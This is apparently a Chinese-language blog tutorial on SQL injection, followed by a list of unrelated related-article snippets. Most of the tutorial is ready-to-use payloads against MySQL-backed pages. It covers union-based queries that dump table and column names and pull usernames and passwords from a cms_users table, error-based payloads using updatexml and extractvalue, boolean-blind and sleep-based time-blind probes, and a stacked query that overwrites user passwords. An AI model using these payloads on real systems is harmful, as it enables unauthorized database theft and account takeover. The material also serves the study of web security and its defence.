sql注入的基本手法
目的
通过sqk注入获取数据内容
掌握sql注入基本手法
我们这里使用
1.联合注入
就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询
条件
两条select语句查询结果具有相同列数
对应列数数据类型相同
简单的步骤
1.目标分析
?id=32
?id=33
这一步看看有没有页面变化 其实就是mysql数据库执行 如果有
第一步
查看列数
?id=32 order by 1
一致改变数字 直到页面一篇空白 没有内容
判断出来一共有多少列
如果到20就显示空白 那末20-1 就是19 是他的极限
第二步
判断回显位置
把第一条select查询语句变成假的
因为只要前端报错 后面的语句才会执行
?id=-32(假的) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 (这个也是假)
这一步会把 回显的位置爆破出来
第三步
数据库敏感信息
也可以 ?id=-33
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 在回显位置查看数据库名字
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15 查看版本
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15 查看数据库系统变量
?id=32 and 1=2(只为假) union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15 1 2 3 4 函数返回的是当前会话中的用户身份信息
获取管理员和密码 必须报错前面的值
information_schema.tables 自带数据库 (库名字 表名字 列名字 )
数据库名字
?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
表名字
1.查看数据库所有的表 group by
?id=-33 UNION SELECT 1,2,count(*)(统计),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables(mysql的自带数据库) where table_schema=database()(条件是现在的数据库) 这句话的意思
2.查看表的名字 16进制 bp可以解码
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 0,1 16进制查看0列1行
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1 查看1行1列
2.查出所有的表的 它将从当前数据库中的所有表中获取信息
?id=-33 UNION SELECT 1,2,hex(group_concat(table_name))(分组查询),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
记住一定要解码 负责就是16进制 bp或者网站
3.查看列数
?id=-33 UNION SELECT 1,2,hex(group_concat(column_name))(合并列名),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schema=database() and table_name='cms_users’
查看列数 在这个表里 在这个数据库
4.查看账户和密码
id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users 查看表里的账户和密码
一定要解密
报错注入
在注入点判断过程中 发现sql注入的报错语句 显示到页面
在错误信息里执行sql语句
案例
?id=33‘ 数据库报错
?id=33’‘ 数据库
直接使用
第一种方法 group by
查看数据库 页面并且报错
报错页面
前提
?id=33’(闭合字段) 爆数据库的错 并且回显到页面
第一中 updatexml
mysql数据库
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
第二种 extractvalue
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
三.布尔盲注
没有回显 直接猜 效率极低
1. id=2'(闭合) and database()='xxx' --+ 猜数据库名字 页面正常
2.?id=2' and length(database())=8 --+ 猜长度 页面正常
3.猜数据库的字目 ascill值
id=2' and ascii(substr(database(),1,1))=115 --+ 第一个数字
' and ascii(substr(database(),2,1))=101 --+ 第二个数字
四.延时注入
实验sleep的延时性 以时间线做判断条件
?id=2' and if(length(database())>1,sleep(5),1) --+ 看看页面延时 如果数据库名字大于1睡5s
?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+ 如果是第三个列的第一个字符 是不是为c
五.堆叠查询
多条语句执行 真实场景极少
堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete等常规数据库语句
?id=2';update users set password='123456'--+
相关文章:
sql注入的基本手法
目的 通过sqk注入获取数据内容 掌握sql注入基本手法 我们这里使用 1.联合注入 就是利用union select 语句 两条语句 同时执行 实现跨库跨表查询 条件 两条select语句查询结果具有相同列数 对应列数数据类型相同 简单的步骤 1.目标分析 ?id…...
8.1 C++ 标准输入输出流
C/C语言是一种通用的编程语言,具有高效、灵活和可移植等特点。C语言主要用于系统编程,如操作系统、编译器、数据库等;C语言是C语言的扩展,增加了面向对象编程的特性,适用于大型软件系统、图形用户界面、嵌入式系统等。…...
hive往es映射表写数据报错
hive是基于Hadoop的一个数据仓库工具,用来进行数据提取、转化、加载,这是一种可以存储、查询和分析存储在Hadoop中的大规模数据的机制。hive数据仓库工具能将结构化的数据文件映射为一张数据库表,并提供SQL查询功能,能将SQL语句转…...
2023年【广东省安全员A证第四批(主要负责人)】考试试卷及广东省安全员A证第四批(主要负责人)模拟考试
题库来源:安全生产模拟考试一点通公众号小程序 广东省安全员A证第四批(主要负责人)考试试卷根据新广东省安全员A证第四批(主要负责人)考试大纲要求,安全生产模拟考试一点通将广东省安全员A证第四批&#x…...
YOLOv5算法改进(15)— 如何去更换Neck网络(包括代码+添加步骤+网络结构图)
前言:Hello大家好,我是小哥谈。在学习完了如何去更换主干网络之后,接着就让我们通过案例的方式去学习下如何去更换Neck网络。本篇文章的特色就是比较浅显易懂,附加了很多的网络结构图,通过结构图的形式向大家娓娓道来,希望大家学习之后能够有所收获!🌈 前期回顾: YO…...
用Nginx搭建一个具备缓存功能的反向代理服务
在同一台服务器上,使用nginx提供服务,然后使用openresty提供反向代理服务。 参考《Ubuntu 20.04使用源码安装nginx 1.14.0》安装nginx。 参考《用Nginx搭建一个可用的静态资源Web服务器》搭建静态资源Web服务器,但是/nginx/conf/nginx.conf里…...
YOLOv5改进实战 | 更换主干网络Backbone(三)之轻量化模型Shufflenetv2
前言 轻量化网络设计是一种针对移动设备等资源受限环境的深度学习模型设计方法。下面是一些常见的轻量化网络设计方法: 网络剪枝:移除神经网络中冗余的连接和参数,以达到模型压缩和加速的目的。分组卷积:将卷积操作分解为若干个较小的卷积操作,并将它们分别作用于输入的不…...
【Markdown】 Markdown 操作备忘录
To Do List 显示目前todo list 的状态 getLogger() 单例类, 通过引入模块,获取单例日志对象 结果可视化调研 模型结果保存及测试 - [ ] getLogger() 单例类, 通过引入模块,获取单例日志对象 - [ ] 结果可视化调研 - [x] 模型结果…...
【自动化测试】基于Selenium + Python的web自动化框架
一、什么是Selenium? Selenium是一个基于浏览器的自动化工具,她提供了一种跨平台、跨浏览器的端到端的web自动化解决方案。Selenium主要包括三部分:Selenium IDE、Selenium WebDriver 和Selenium Grid: 1、Selenium IDE&…...
zookeeper连接客户端操作数据时报错Socket is not connected
文章目录 一、报错信息二、问题描述三、原因分析:四、解决方案: 一、报错信息 DEBUG org.apache.zookeeper.ClientCnxnSocketNIO - Ignoring exception during shutdown input java.net.SocketException: Socket is not connectedat sun.nio.ch.Net.tra…...
mysql select语句中from 之后跟查询语句
概念:将from后面的查询语句放在FROM的后面,则查询到的结果,就会被当成一个“表”; 这里有一个特别要注意的地方,放在FROM后面的子查询,必须要加别名。 select dui.id,dui.party_service_id mes_id, dui.party_id,dui.…...
Yolov8小目标检测(26):多尺度空洞注意力(MSDA) | 中科院一区顶刊 DilateFormer 2023.9
💡💡💡本文独家改进:多尺度空洞注意力(MSDA)采用多头的设计,在不同的头部使用不同的空洞率执行滑动窗口膨胀注意力(SWDA),全网独家首发,创新力度十足,适合科研 多尺度空洞注意力(MSDA) | 亲测在红外弱小目标检测涨点,map@0.5 从0.755提升至0.784 💡�…...
NLP:从头开始的文本矢量化方法
一、说明 NLP 项目使用文本,但机器学习算法不能使用文本,除非将其转换为数字表示。这种表示通常称为向量,它可以应用于文本的任何合理单位:单个标记、n-gram、句子、段落,甚至整个文档。 在整个语料库的统计 NLP 中&am…...
Kotlin 中 apply、let、also、run的区别
apply apply 函数接收一个目标并回来该目标自身。它答应您在目标上履行一些操作,同时仍然回来原始目标。 fun <T> T.apply(block: T.() -> Unit): TT 是目标的类型,block 是一个 lambda 表达式,能够在该目标上履行一些操作。在这个…...
Android JKS MD5 SHA1 公钥生成 私钥生成 APP备案 内容获取
1 查看 jks keytool -list -v -keystore /Users/lipengfei/Desktop/android/androidproject.jks密钥库类型: jks 密钥库提供方: SUN您的密钥库包含 1 个条目别名: ddgj 创建日期: 2018-11-16 条目类型: PrivateKeyEntry 证书链长度: 1 证书[1]: 所有者: CNcn, OUcn, Ocn, Lcn,…...
常用linux的命令(持续更新)
1.防火墙相关 centos7 防火墙 查状态:systemctl status firewalld.service 关闭:systemctl disable firewalld.service 重启生效 关闭:systemctl stop firewalld.service 马上生效 systemctl stop firewalld 临时关闭防火墙 systemctl disabl…...
《动手学深度学习 Pytorch版》 8.7 通过时间反向传播
8.7.1 循环神经网络的梯度分析 本节主要探讨梯度相关问题,因此对模型及其表达式进行了简化,进行如下表示: h t f ( x t , h t − 1 , w h ) o t g ( h t , w o ) \begin{align} h_t&f(x_t,h_{t-1},w_h)\\ o_t&g(h_t,w_o) \end{ali…...
2023-10-20 游戏开发-cocos旧版本2.0.6-下载地址-记录
官方下载地址: Cocos Creator 下载 - 轻量高效的开发引擎 Tags cocos/cocos-engine GitHub cocos creater 旧版本: Tool/Package/REAMDE.md adofsauron/CocosCreatorFAQ - Gitee.com v2.0.6版本: Mac版:http://cocos2d-x.org/filedown/CocosStudioForMac-v2.0.…...
Python 框架学习 Django篇 (三) 链接数据库
只要你是做后端开发的,那么就离不开各种数据库,Django框架对各种数据库都非常友好,比如常见的PostgreSQL、MySQL、SQLite、Oracle,django都对他们提供了统一调用api,我们这里主要使用mysql数据库作为演示 一、ORM机制 …...
【debug】安装diffusion的bug解决合集
环境问题 ImportError: cannot import name ‘CLIPImageProcessor’ from ‘transformers’ (D:\Python\lib\site-packages\transformers_init_.py) https://github.com/huggingface/transformers/issues/23340 解决:查看更详细信息,安装环境 transfor…...
K8s运维封神指南:避开90%的坑
欢迎关注我的公众号「DevOps和k8s全栈技术」,进公众号【服务】栏,可以看到技术群,点击即可加入学习交流群。↓↓↓作为云原生时代的“基础设施天花板”,K8s(Kubernetes)早已不是运维人的“选修课”…...
告别卡顿!用全志R128和LVGL驱动4寸圆屏RGB,实测帧率高达247fps
全志R128与LVGL高帧率驱动实战:4寸圆屏RGB优化指南 当一块480x480的圆形RGB屏幕在全志R128开发板上流畅运行LVGL界面时,开发者们往往会惊讶于其高达247fps的帧率表现。这种性能不仅超越了传统嵌入式设备的显示极限,更为智能家居控制面板、迷你…...
告别STL!用Blender 3.4.0和USD格式,5分钟搞定Isaac Sim机器人模型导入与美化
告别STL!用Blender 3.4.0和USD格式5分钟搞定Isaac Sim机器人模型导入与视觉升级 当你在Isaac Sim中导入机器人模型时,是否经常遇到格式不兼容、材质丢失或渲染效果生硬的问题?传统STL/OBJ格式不仅缺乏层级结构,还丢失了关键的材质…...
从YUV序列到码流分析:一次完整的H.266/VVC编码实验与问题排查实录
从YUV序列到码流分析:一次完整的H.266/VVC编码实验与问题排查实录 在视频编码技术快速迭代的今天,H.266/VVC作为新一代标准,其压缩效率相比前代提升显著,但随之而来的复杂度也令许多开发者望而生畏。本文将带您深入实战࿰…...
三星Galaxy A37 5G评测:性能、拍照、续航表现如何?值得升级吗?
三星Galaxy A37 5G:中端新宠还是旧瓶新装?三星最新推出的中端智能手机Samsung Galaxy A37,也是A36的直接继任者。它延续了去年的设计思路,保留了许多实用可靠的特性。尽管这听起来可能有些令人失望,但这并不意味着它是…...
8大网盘文件直链获取神器LinkSwift:如何实现全平台无限制高速下载?
8大网盘文件直链获取神器LinkSwift:如何实现全平台无限制高速下载? 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 ,支持 百度网盘 / 阿里云盘…...
Spring定时任务踩坑实录:Quartz Job里用SpringApplicationContext.getBean()为啥总报NoSuchBeanDefinitionException?
Spring定时任务深度解析:Quartz Job中Bean获取异常的原理与实战解决方案 在Spring Boot与Quartz整合开发中,许多开发者都遇到过这样的场景:定时任务明明配置正确,却在运行时抛出NoSuchBeanDefinitionException异常,提示…...
从30秒到3秒:fmt编译时优化技巧终结C++项目构建噩梦
从30秒到3秒:fmt编译时优化技巧终结C项目构建噩梦 【免费下载链接】fmt A modern formatting library 项目地址: https://gitcode.com/GitHub_Trending/fm/fmt 在C开发中,冗长的编译时间常常成为开发者 productivity 的隐形杀手。fmt作为一款现代…...
乳腺癌生存预测模型开发与实践指南
1. 乳腺癌患者生存概率模型开发指南在临床医学研究中,预测患者生存概率一直是肿瘤学领域的核心课题。乳腺癌作为全球女性最常见的恶性肿瘤,其生存率预测对治疗方案选择、预后评估和医疗资源分配都具有重要意义。本文将系统介绍如何构建一个科学可靠的乳腺…...
基于安卓的农村劳动力信息匹配系统毕设
博主介绍:✌ 专注于Java,python,✌关注✌私信我✌具体的问题,我会尽力帮助你。一、研究目的本研究旨在设计并实现一种基于安卓平台的农村劳动力信息匹配系统以解决当前农村劳动力市场中存在的信息不对称与供需错配问题。随着我国城镇化进程的持续推进以及…...
